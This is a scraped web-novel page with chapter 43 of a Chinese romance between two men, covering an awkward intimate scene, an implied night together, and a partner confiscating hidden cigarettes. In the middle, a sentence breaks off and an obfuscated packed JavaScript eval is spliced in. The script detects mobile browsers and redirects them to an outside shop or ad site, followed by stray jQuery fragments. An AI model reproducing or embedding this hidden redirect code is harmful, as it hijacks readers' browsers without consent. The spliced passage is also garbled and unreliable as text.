默认冷灰
24号文字
方正启体

43. 第 43 章

作者:独倚长剑本书字数:K更新时间:
    萧景行有些不可置信,双手捂住了头,试图逃避这个情况。


    真是……有损形象。


    坐在他身上的裴洄有些懵,随后意识到发生了什么后,转头看看他坐的那里,又看看试图闷死自己的萧景行,裴洄膝盖用力直起身体,伸手想要拉开萧景行的手。


    萧景行头一次感到如此社死的情形,脸色绯红一片,察觉到裴洄想要把他拽开,遮在脸上的手更加用力了,他……实在无言以对裴洄。


    太尴尬了……


    萧景行沉浸在懊恼的情绪里出不来,他有些后悔挑逗裴洄,没看到自己想看到的东西,反倒把自己陷入如此尴尬的情况。


    萧景行自诩自己没有太大的大男子主义,但是如此情形,只要是个男子都会觉得丢脸吧。


    越想越觉得无法接受,他“嘤”了一声,侧翻身将自己的脸埋在沙发空隙里,实在无颜以对。流畅的背部肌肉对着裴洄,红的不正常的耳廓让刺头看起来也没那么充满“难驯服”的感觉了。


    裴洄有点好奇,萧景行的脸此时是哪种光景,桀骜不驯、冷着脸就是像是在蔑视人的脸红起来别有一番滋味吧。


    他舔了舔红润的唇,水光潋滟,平添一抹艳色,裴洄觉得有些受不了了,但此刻的萧景行看起来也不会这么快过去心里这关的,他把手摸向沙发空,伸手一掏,掏出一个长方形的盒子,上面写着“抽烟有害健康”,又往茶几桌背连同胶带摘下来一个火机。


    “啪”一声,火舌猛地窜出,连同欲望一样难以克制。


    裴洄抽了口烟,试图压制住身体里的火,可惜毫无作用。


    啧,难搞……


    他又吸了一口,舌尖舔舔尖锐的虎牙,问:“想到哪一步了?”


    萧景行沉默一瞬,哑着嗓子说:“出生那步。”


    裴洄被逗笑了,湿润的烟嘴正要再一次进入口中,感受到尼古丁的快乐时,一个骨节分明,修长有力的手,夺走了烟。


    萧景行将烟暗灭,目光如炬说:“你是知道我的情况的……对吧?”


    裴洄挑眉看向萧景行,他知道萧景行是什么意思,这是在跟他解释这次是个意外,他平常不这样。他估摸着,今天他如果不表个态,等到七老八十,萧景行还能抓着这个事一直纠结不放。


    裴洄哄道:“当然了宝贝,我当然知道你平常什么样。”


    他面色如常地说着荤话:“你上次把我弄得一抽一抽……”话还没说完,萧景行就把他推倒了。


    萧景行居高临下地看着他,眼眸深邃,薄唇微抿,他打断裴洄的话,坚定地说:“再来一次。”


    裴洄有些没反应过来:“什么……?”


    萧景行将上衣脱了下来,紧实的肌肉暴露在裴洄面前,面前男人的身体强劲有力,宽肩窄腰,十分性|感,他弯下腰来,眼睛里好像藏着一抹火,说:“我说再来一次。”


    裴洄笑了,清冷的脸又纯又欲,温润的气质为此刻的裴洄横添一种难以言喻的迷人感觉。他钩住萧景行的脖颈,看向萧景行的目光充满侵略性,“行啊,宝贝。”


    吐出的话语媚骨如丝,像是被小火慢熬,不动声色地侵入萧景行的骨子里。


    ……


    一夜难言,萧景行身体力行的凭自己的实力向裴洄证明了什么是,“平常什么样”。


    阳光通过没遮掩好的窗帘透到萧景行脸上,一阵暖洋洋的感觉,感受到身旁人依赖的姿势,亲昵地蹭了蹭裴洄的发顶,想起昨晚种种,心中满是餍足。


    裴洄蜷缩在萧景行臂弯中,紧皱的眉头像是昭示昨晚动作的激烈,脖子上布满暧昧的痕迹,萧景行眼眸柔软地看着裴洄,又像小狗一样亲昵地蹭着。


    怀中的熟睡的人被这动作打扰了,伸手推开萧景行的脸,呢喃地说:“别,我真不行了……”


    像是怕萧景行继续对他上下其手般,裴洄更主动地将身体往萧景行那里蹭过去,修长如玉般的手精准地抚上萧景行的脸,微微用力把他往下一压,仅仅凭借着肌肉记忆,便分毫不差地亲在萧景行的嘴角。


    简直就是哄小孩子的把戏……


    裴洄像是害怕萧景行对他做些什么似的,转身背对着萧景行,继续熟睡起来。


    其实这跟萧景行预设的不太一样,他想的是裴洄十分亲密地躺在他的臂弯处,享受着早晨暖洋洋的阳光,他玩着裴洄的手指,两人在床上嬉笑打闹,裴洄时不时地向他撒娇。


    现实和他预想的相比实在是……太过冷淡了。


    萧景行感觉自己就像个被欺负的良家少男,眼前的裴洄是个只顾着睡爽了然后不管他的渣男,萧景行眯眯了眼,心中不断安慰自己……


    他轻手轻脚走出去,裴洄一时半会应该都睡不醒,他开始收拾两人的衣服,分好颜色放进洗衣机,又将整个屋子打扫一遍,顺便把打火机的烟都找了出来。


    找烟和火机的时候,萧景行突然想起了一个电影,叫《史密斯夫妇》,看着手里不同种类,不同样式的东西,嘴角蓦地上扬,心想他俩可真是一家人,连藏的位置都几乎一摸一样,有的就只差几十厘米,一伸手就能摸到。


    他摩挲着裴洄的烟,芙蓉王,抽的比他还烈,打开烟盒一看,里面就剩四五支了,都抽这么多了,萧景行眼神晦暗不明,心里已经在盘算着抓裴洄戒烟了。


    即使裴洄没醒,但还是萧景行又一次地贡献了自己的拙劣的演技,面无表情地“哎呀”一声,然后将手里的芙蓉王扔到了垃圾桶里,自己的烟和火机下楼扔掉了。


    顺便还买了菜。


    看了一眼时间,估摸着裴洄要醒了,衣服也没换,径直走向走向厨房。


    裴洄醒的时候,萧景行正在厨房炒菜,他抓起水杯喝了口水,清凉的液体进入身体里,十分舒适,突然余光感受到什么,他歪头一看,正是昨天晚上那盒芙蓉王。


    身体忽地一愣,然后又不信邪地摸摸沙发空,真是那包。


    一阵不好的预感向他袭来,他动作十分僵硬地走向其他藏烟的地方,快速蹲下,伸手一摸什么都没有。


    顿时,裴洄的感觉自己的身体就像是生锈了的机器,转头看向厨房,只见萧景行不知何时倚靠在厨房门,好整以暇的看着他。


    眉压眼还是很有威慑力的。


    裴洄心沉了沉,他舔舔有些干涩的唇,上前快速走了几步,说:“我可以解释的……”


    萧景行没理他,转身走进厨房,裴洄看着他的背影,低下头表情十分懊恼,昨天爽的太得意忘形了,思想检讨和狡辩的腹稿还没打好的时候,萧景行的声音从厨房传来:“过来端菜。”


    裴洄眼睛一亮:“来了!”


    萧景行看着裴洄心虚飘忽不定目光有些想笑,他强压下来正正表情,老神在在面不改色地又吃了一口饭。


    终于,裴洄放下碗筷,看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772155|190252||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    向萧景行开口道:“我不抽了。”


    萧景行没说话。


    裴洄抿抿唇,说:“我不真不抽了。”


    萧景行抬眸看向裴洄,泰然自若地说:“还藏哪了?”


    他本意是想炸炸裴洄的,没想真炸出来了。


    眼见裴洄从餐桌边角摸出一盒烟,又在冰箱底下的空隙摸出一盒……


    零零总总一共又摸出四盒烟,五个火机。


    萧景行的脸色青了白,白了又青的,“啪”瓷碗和餐桌发出清脆的声响,裴洄好似被吓到瑟缩一瞬,萧景行没好气的看着裴洄,问:“还有呢?”


    两人僵持着,裴洄最终还是胳膊拗不过大腿,他神情不自然,一瘸一拐地走向卧室和厨房,又拿出三包来。


    此时的萧景行已经从生气进阶到另一种情绪了,他被气笑了,人家家里藏的都是什么私房钱,这倒好,他家藏的是芙蓉王。


    这都可以开一家烟店。


    正要说话时,裴洄转身走向客厅的装饰画,伸手将画框一掰,好家伙,画框里全是烟,这回不只是芙蓉王了,是不同种类的烟。


    萧景行笑了,他实在不知道说什么好了,如果一开始是生气,那么现在的场面已经变成好笑了,萧景行的语气听不出来情绪:“香烟大促吗?囤这么多?”


    似乎是感觉到不好意思,裴洄摸摸鼻子想要说话解释:“那个……”


    萧景行将烟盒拢了拢,拿出一个袋子全部装进去,裴洄看着他的动作欲言又止:“那个……你是要扔吗?”


    萧景行没搭理他,斜睨了一眼,裴洄低着头看着袋子里的烟,语气有些肉痛地说:“能不能别扔。”


    “啪”,萧景行扔里的力道骤然变大,裴洄摇了摇双手,解释道:“不是……我的意思是,这些烟怪贵的,能不能留下来送人?”


    “或者我去退了?”裴洄打量着萧景行的面色,试探道。


    萧景行依旧是听不出情绪的语气:“买的时候你想什么了?”


    裴洄:“……”


    萧景行:“你还挺顾家。”


    裴洄眨眨眼,这回他听出来了,这是嘲讽的语气。


    裴洄灰头土脸地跟在萧景行身后,可能是正好借着收拾房间顺便找烟,萧景行将全家来了个大扫除,裴洄亦步亦趋地跟在他身后,萧景行伸手他递抹布,萧景行流汗他调空调。


    看着萧景行干活裴洄有些心疼,他眉头微皱问:“为什么要自己干啊?不是可以请保洁吗?”


    萧景行看了裴洄一眼,语气淡淡道:“不知道哪个小没良心的说,和他在一起就要给他收拾一辈子房间。”


    一根线骤然绷紧,裴洄站直身体慢慢看向萧景行的身影,眼睛一错不错地盯着萧景行,脑中像是闪了一道震耳欲聋的响雷,一瞬间他什么都明白了。


    反常的瞬间,萧景行不自然的脸,又像走马灯一样从他脑海中一一闪过。


    他的随口一说,竟然被萧景行当真了,还奉为圭臬一样,默默执行这么多年。


    心脏是止不住的抽痛,酸涩难言的感觉如藤蔓一般,瞬间遍布他的全身将他的口鼻捂住不能呼吸,裴洄轻轻地抽着气,眼睛有些模糊。


    脑海中各种情绪翻涌,一瞬间裴洄痛的天崩地裂。


    想法逐渐抽空,目标却是越来越清晰。


    他不要萧景行再消失在他的面前。


    他要他活。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)